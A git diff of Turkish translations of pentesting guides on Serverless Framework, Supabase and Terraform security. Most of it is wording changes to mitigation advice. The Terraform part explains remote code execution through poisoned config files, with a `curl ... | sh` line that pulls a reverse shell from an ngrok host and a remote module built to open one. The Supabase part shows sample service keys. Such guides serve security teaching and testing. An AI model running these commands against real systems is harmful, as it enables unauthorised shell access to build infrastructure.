+* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenler ve yapılandırmalar tanımlamak için kullanılır.
```yaml
custom:
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
Çıktılar
-**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgiler olabilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır.
+**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgileri içerebilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır.
```yaml
¡outputs:
ApiEndpoint:
@@ -254,7 +254,7 @@ plugins:
Hooks
-**Hooks**, dağıtım yaşam döngüsündeki belirli noktalarda özel betikler veya komutlar çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar.
+**Hooks** özel betikleri veya komutları dağıtım yaşam döngüsündeki belirli noktalarda çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar.
```yaml
custom:
hooks:
@@ -262,9 +262,9 @@ before:deploy:deploy: echo "Starting deployment..."
```
-### Tutorial
+### Eğitim
-Bu, resmi öğreticinin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial):
+Bu, resmi eğitimin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial):
1. Bir AWS hesabı oluşturun (Serverless.com AWS altyapısında başlar)
2. serverless.com'da bir hesap oluşturun
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-Bu, [serverless.com](serverless.com-security.md) adresinde kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** ve `helloworld` kodunu içeren bazı JS kodlarıyla birlikte **`handler.js`** dosyasını içeren `Tutorial` adında bir klasör oluşturmuş olmalıdır ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası:
+Bu, kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** oluşturmuş olmalı [serverless.com](serverless.com-security.md) ve içinde `helloworld` kodu bulunan bazı JS kodları içeren **`handler.js`** dosyasına sahip `Tutorial` adında bir klasör oluşturmuş olmalı ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -325,7 +325,7 @@ method: get
4. Bir AWS sağlayıcısı oluşturun, `https://app.serverless.com//settings/providers?providerId=new&provider=aws` adresindeki **dashboard**'a giderek.
1. `serverless.com`'a AWS erişimi vermek için, bu yapılandırma dosyasını kullanarak bir cloudformation yığını çalıştırmanızı isteyecektir (bu yazının yazıldığı sırada): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve bu rol, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte **`arn:aws:iam::aws:policy/AdministratorAccess`** üzerinde hesap için geçerlidir.
+2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve **`arn:aws:iam::aws:policy/AdministratorAccess`** ile birlikte, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte hesap üzerinde.
@@ -399,7 +399,7 @@ Type: String
```
-5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor.
+5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor.
{{#tabs }}
{{#tab name="createCustomer.js" }}
@@ -481,9 +481,9 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtab }}
{{#endtabs }}
-6. **`serverless deploy`** komutunu çalıştırarak dağıtımı yapın
+6. **`serverless deploy`** komutunu çalıştırarak dağıtımı gerçekleştirin
1. Dağıtım, bir CloudFormation Stack aracılığıyla gerçekleştirilecektir
-2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açık olduğunu unutmayın
+2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açığa çıktığını unutmayın
7. **Test edin**
1. Önceki adım, API uç noktalarınızın lambda fonksiyonlarının dağıtıldığı **URL'leri** yazdıracaktır
@@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Hassas bilgilerin (örneğin, API anahtarları, veritabanı kimlik bilgileri) doğrudan **`serverless.yml`** veya kodda saklanması, depoların tehlikeye girmesi durumunda ifşaya yol açabilir.
-**Önerilen** yöntem, **`serverless.yml`** dosyasında ortam değişkenlerini saklamak için serverless.com'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** itibarıyla bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar!
+**`serverless.yml`** dosyasında ortam değişkenlerini saklamanın **önerilen** yolu, **serverless.com**'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar!
> [!CAUTION]
> Bu nedenle, AWS içindeki lambdaların konfigürasyonunu okuma iznine sahip olan herkes, **tüm bu ortam değişkenlerine temiz metin olarak erişebilecektir!**
@@ -564,14 +564,14 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **lambda ortam değişkeni içinde düz metin olarak eklenecektir**.
+Ve bu, **`serverless.yml`** dosyasında ortam değişkeni değerinin sabitlenmesini önlese de, değer dağıtım zamanında elde edilecek ve **lambda ortam değişkeni içinde düz metin olarak eklenecektir**.
> [!TIP]
-> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamak ve **lambda kodunun bunu toplaması gerektiğidir**.
+> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu, **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamaktır ve **lambda kodu bunu toplamalıdır**.
#### **Azaltma Stratejileri**
-- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Gizli Anahtar Yöneticisi** gibi hizmetleri kullanın.
+- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Secrets Manager** gibi hizmetleri kullanın.
- **Şifreli Değişkenler:** Hassas veriler için Serverless Framework’ün şifreleme özelliklerinden yararlanın.
- **Erişim Kontrolleri:** Rollere dayalı olarak gizli anahtarlara erişimi kısıtlayın.
@@ -616,9 +616,9 @@ plugins:
---
-### **Güvensiz API Geçidi Yapılandırmaları**
+### **Güvensiz API Gateway Yapılandırmaları**
-Açık veya yanlış güvenlik önlemleri alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir.
+Açık veya yanlış güvence altına alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir.
#### **Azaltma Stratejileri**
@@ -671,9 +671,9 @@ Paylaşılan kaynaklar ve yetersiz izolasyon, ayrıcalık yükselmelerine veya f
#### **Azaltma Stratejileri**
-- **Fonksiyonları İzole Edin:** Bağımsız çalışmayı sağlamak için farklı kaynaklar ve IAM rolleri atayın.
-- **Kaynak Bölümlendirmesi:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın.
-- **VPC'leri Kullanın:** Ağ izolasyonunu artırmak için fonksiyonları Sanal Özel Bulutlar içinde dağıtın.
+- **Fonksiyonları İzole Edin:** Bağımsız çalışmayı sağlamak için belirgin kaynaklar ve IAM rolleri atayın.
+- **Kaynak Bölümlendirme:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın.
+- **VPC'leri Kullanın:** Geliştirilmiş ağ izolasyonu için fonksiyonları Sanal Özel Bulutlar içinde dağıtın.
```yaml
provider:
@@ -690,11 +690,11 @@ subnetIds:
### **Yetersiz Veri Koruma**
-Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir, bu da veri ihlallerine veya değiştirilmelere yol açabilir.
+Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir ve veri ihlallerine veya değiştirilmelere yol açabilir.
#### **Azaltma Stratejileri**
-- **Dinlenme Halinde Verileri Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın.
+- **Verileri Dinlenme Halinde Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın.
```yaml
resources:
@@ -706,7 +706,7 @@ SSESpecification:
SSEEnabled: true
```
-- **İletim Halinde Verileri Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın.
+- **Verileri İletim Halinde Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın.
- **API İletişimini Güvence Altına Alın:** Şifreleme protokollerini zorlayın ve sertifikaları doğrulayın.
- **Şifreleme Anahtarlarını Güvenli Bir Şekilde Yönetin:** Yönetilen anahtar hizmetlerini kullanın ve anahtarları düzenli olarak döndürün.
@@ -714,7 +714,7 @@ SSEEnabled: true
### **Uygun Hata Yönetiminin Olmaması**
-Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine neden olabilir.
+Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine yol açabilir.
#### **Azaltma Stratejileri**
@@ -742,20 +742,20 @@ body: JSON.stringify({ message: 'Dahili Sunucu Hatası' }),
### **Güvensiz Dağıtım Uygulamaları**
-Açıkta kalan dağıtım yapılandırmaları veya CI/CD boru hatalarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir.
+Açık dağıtım yapılandırmaları veya CI/CD boru hatlarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir.
#### **Azaltma Stratejileri**
- **Güvenli CI/CD Boru Hatları:** Katı erişim kontrolleri, çok faktörlü kimlik doğrulama (MFA) ve düzenli denetimler uygulayın.
-- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını hardcoded gizli anahtarlardan ve hassas verilerden arındırın.
-- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçları kullanın.
+- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını sabitlenmiş gizli anahtarlardan ve hassas verilerden arındırın.
+- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçlar kullanın.
- **Değişmez Dağıtımlar:** Değişmez altyapı uygulamaları benimseyerek dağıtım sonrası yetkisiz değişiklikleri önleyin.
---
### **Eklentiler ve Uzantılardaki Zayıflıklar**
-Onaylanmamış veya kötü niyetli üçüncü taraf eklentileri, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir.
+Onaylanmamış veya kötü niyetli üçüncü taraf eklentilerin kullanılması, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir.
#### **Azaltma Stratejileri**
@@ -774,14 +774,14 @@ Herkese açık erişime sahip fonksiyonlar veya kısıtlanmamış API'ler, yetki
- **Fonksiyon Erişimini Kısıtlayın:** Güvenilir kaynaklara erişimi sınırlamak için VPC'ler, güvenlik grupları ve güvenlik duvarı kuralları kullanın.
- **Sağlam Kimlik Doğrulama Uygulayın:** Tüm açık uç noktaların uygun kimlik doğrulama ve yetkilendirme gerektirdiğinden emin olun.
-- **API Geçitlerini Güvenli Kullanın:** API Geçitlerini güvenlik politikalarını uygulamak için yapılandırın, giriş doğrulaması ve hız sınırlaması dahil.
-- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanılmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın.
+- **API Geçitlerini Güvenli Bir Şekilde Kullanın:** API Geçitlerini, giriş doğrulaması ve hız sınırlaması dahil olmak üzere güvenlik politikalarını uygulamak için yapılandırın.
+- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanımda olmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın.
---
### **Ekip Üyeleri ve Dış İşbirlikçilerin Aşırı İzinleri**
-Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanımı ile sonuçlanabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar, saldırı yüzeyini ve iç tehdit potansiyelini artırır.
+Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanılmasına yol açabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar ve saldırı yüzeyini ve iç tehdit potansiyelini artırır.
#### **Azaltma Stratejileri**
@@ -791,17 +791,17 @@ Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz eri
### **Erişim Anahtarları ve Lisans Anahtarları Güvenliği**
-**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileridir.
+**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileri.
-- **Lisans Anahtarları:** CLI üzerinden giriş yapmak için Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır.
+- **Lisans Anahtarları:** CLI üzerinden giriş yapmayı sağlayan Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır.
- **Erişim Anahtarları:** Serverless Framework Dashboard ile kimlik doğrulamak için Serverless Framework CLI'nin kullanabileceği kimlik bilgileridir. `serverless` cli ile giriş yapıldığında bir erişim anahtarı **oluşturulacak ve dizüstü bilgisayarda saklanacaktır**. Ayrıca `SERVERLESS_ACCESS_KEY` adında bir ortam değişkeni olarak ayarlayabilirsiniz.
#### **Güvenlik Riskleri**
1. **Kod Depoları Üzerinden Açığa Çıkma:**
-- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine hardcoded olarak eklemek veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir.
+- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine sabit kodlama veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir.
2. **Güvensiz Depolama:**
-- Anahtarları düz metin olarak ortam değişkenlerinde veya yapılandırma dosyalarında uygun şifreleme olmadan saklamak, sızıntı olasılığını artırır.
+- Anahtarları, uygun şifreleme olmadan ortam değişkenleri veya yapılandırma dosyaları içinde düz metin olarak saklamak, sızıntı olasılığını artırır.
3. **Yanlış Dağıtım:**
- Anahtarları güvensiz kanallar (örneğin, e-posta, sohbet) aracılığıyla paylaşmak, kötü niyetli aktörler tarafından ele geçirilmesine neden olabilir.
4. **Döngü Eksikliği:**
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 8199a38f0..b39cbf1dc 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -6,9 +6,9 @@
[**Ana sayfalarına**](https://supabase.com/) göre: Supabase, açık kaynaklı bir Firebase alternatifidir. Projenize bir Postgres veritabanı, Kimlik Doğrulama, anlık API'ler, Edge Fonksiyonları, Gerçek Zamanlı abonelikler, Depolama ve Vektör gömme ile başlayın.
-### Alt Alan
+### Alt Alan Adı
-Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alanı alacaktır.
+Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alan adı alacaktır.
## **Veritabanı yapılandırması**
@@ -18,9 +18,9 @@ Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supaba
Bu **veritabanı**, bazı AWS bölgelerinde dağıtılacak ve ona bağlanmak için şu şekilde bağlanmak mümkün olacaktır: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (bu us-west-1'de oluşturuldu).\
Şifre, kullanıcının daha önce koyduğu bir **şifredir**.
-Bu nedenle, alt alan bilinen bir alan olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir.
+Bu nedenle, alt alan adı bilinen bir alan adı olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir.
-Bu bölüm ayrıca şunları yapılandırma seçeneklerini içerir:
+Bu bölüm ayrıca şunları içermektedir:
- Veritabanı şifresini sıfırlama
- Bağlantı havuzlamasını yapılandırma
@@ -101,15 +101,15 @@ Priority: u=1, i
Bu nedenle, bir müşterinin kendilerine verilen alt alan adıyla supabase kullandığını keşfettiğinizde (şirketin bir alt alan adının supabase alt alan adlarına CNAME yönlendirmesi yapması mümkündür), **supabase API'sini kullanarak platformda yeni bir hesap oluşturmayı** deneyebilirsiniz.
-### gizli / service_role api anahtarları
+### gizli / hizmet_rolü api anahtarları
-**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Düzeyi Güvenliği**'ni atlayabilecektir.
+**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Seviyesi Güvenliği**'ni atlayabilecektir.
API anahtarı şu şekilde görünür: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT Gizli Anahtarı
-Uygulamanın **özel JWT token'ları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır.
+Uygulamanın **özel JWT jetonları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır.
## Kimlik Doğrulama
@@ -126,31 +126,31 @@ Bu çok kötü bir fikirdir çünkü supabase, aktif kullanıcı başına ücret
### Şifreler ve oturumlar
Minimum şifre uzunluğunu belirtmek mümkündür (varsayılan olarak), gereksinimleri (varsayılan olarak yok) ve sızdırılmış şifrelerin kullanılmasını engellemek mümkündür.\
-**Varsayılan gereksinimlerin zayıf olduğu için gereksinimleri geliştirmek** önerilir.
+**Varsayılan gereksinimler zayıf olduğu için gereksinimleri geliştirmek** önerilir.
- Kullanıcı Oturumları: Kullanıcı oturumlarının nasıl çalıştığını yapılandırmak mümkündür (zaman aşımı, kullanıcı başına 1 oturum...)
- Bot ve Kötüye Kullanım Koruması: Captcha etkinleştirmek mümkündür.
### SMTP Ayarları
-E-postaları göndermek için bir SMTP ayarlamak mümkündür.
+E-posta göndermek için bir SMTP ayarlamak mümkündür.
### Gelişmiş Ayarlar
-- Erişim token'ları için sonlanma süresini ayarlayın (varsayılan 3600)
-- Potansiyel olarak tehlikeye atılmış yenileme token'larını tespit etmek ve iptal etmek için ayarlayın
-- MFA: Kullanıcı başına aynı anda kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10)
+- Erişim jetonları için sonlanma süresi ayarlayın (varsayılan 3600)
+- Potansiyel olarak tehlikeye atılmış yenileme jetonlarını tespit etmek ve iptal etmek için ayarlayın
+- MFA: Kullanıcı başına bir kerede kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10)
- Maksimum Doğrudan Veritabanı Bağlantıları: Kimlik doğrulama için kullanılan maksimum bağlantı sayısı (varsayılan 10)
-- Maksimum İstek Süresi: Bir Kimlik doğrulama isteğinin süresinin ne kadar olabileceği (varsayılan 10s)
+- Maksimum İstek Süresi: Bir Kimlik Doğrulama isteğinin sürebileceği maksimum süre (varsayılan 10s)
## Depolama
> [!TIP]
> Supabase, **dosyaları depolamaya** ve bunları bir URL üzerinden erişilebilir hale getirmeye izin verir (S3 bucket'ları kullanır).
-- Yükleme dosyası boyut sınırını ayarlayın (varsayılan 50MB)
-- S3 bağlantısı şu URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşan **S3 erişim anahtarı** talep etmek mümkündür.
+- Yükleme dosyası boyutu sınırını ayarlayın (varsayılan 50MB)
+- S3 bağlantısı şu şekilde bir URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşturulan **S3 erişim anahtarı** talep etmek mümkündür.
## Edge Fonksiyonları
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 0610ffc13..318bc2832 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,7 +6,7 @@
[Belgelerden:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
+HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, altyapınızın yaşam döngüsü boyunca tüm altyapınızı sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
#### Terraform nasıl çalışır?
@@ -18,9 +18,9 @@ HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yö
Temel Terraform iş akışı üç aşamadan oluşur:
-- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
+- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur.
-- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarını dikkate alarak önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
+- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
.png>)
@@ -32,23 +32,23 @@ Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cl
## Terraform'da RCE
-Terraform'un **bir web sayfası veya bir ağ hizmeti sunan bir platformu yoktur**; bu nedenle, terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını ekleyip/ değiştirebilmektir**.
+Terraform'un **bir web sayfası veya bir ağ hizmeti** sunan bir platformu yoktur, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** olabilir.
-Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşendir**.
+Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşen**dir.
Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**.
-Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur; bunlardan biri **Atlantis**'dir:
+Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, bunlardan biri **Atlantis**'dir:
{{#ref}}
atlantis-security.md
{{#endref}}
-Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
+Bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
-### Terraform plan
+### Terraform planı
-Terraform plan, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
+Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
**Dış sağlayıcı kullanarak**
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Özel bir sağlayıcı kullanma**
-Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ye bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ne bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -81,22 +81,22 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github
**Dış bir referans kullanma**
-Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi daha gizli ama birincisinden daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
+Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
-- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz:
+- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
